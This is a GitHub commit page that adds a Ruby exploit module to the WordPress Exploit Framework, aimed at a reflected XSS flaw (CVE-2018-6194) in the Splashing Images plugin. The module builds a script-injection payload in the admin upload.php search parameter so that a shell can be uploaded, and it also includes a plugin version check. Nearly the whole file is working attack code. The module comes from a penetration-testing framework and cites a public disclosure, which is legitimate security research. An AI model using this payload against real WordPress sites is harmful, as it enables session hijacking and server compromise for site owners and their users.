Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 6a7d7aa

Browse files
committed
Land #46: Add Splashing Images reflected XSS shell upload
2 parents c496255 + bca8f39 commit 6a7d7aa

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::SplashingImagesReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Splashing Imagges 2.1 Reflected XSS',
11+
author: [
12+
'Nicolas Buzy-Debat', # Discovery
13+
'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2018-6194'],
17+
['WPVDB', '9016'],
18+
['URL', 'http://seclists.org/fulldisclosure/2018/Jan/91']
19+
],
20+
date: 'Jan 26 2018'
21+
)
22+
end
23+
24+
def check
25+
check_plugin_version_from_readme('wp-splashing-images', '2.1.1')
26+
end
27+
28+
def vulnerable_url
29+
normalize_uri(wordpress_url_admin, 'upload.php')
30+
end
31+
32+
def url_payload
33+
url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>")
34+
end
35+
36+
def url_with_xss
37+
"#{vulnerable_url}?page=wp-splashing&search=#{url_payload}"
38+
end
39+
end

0 commit comments

Comments
 (0)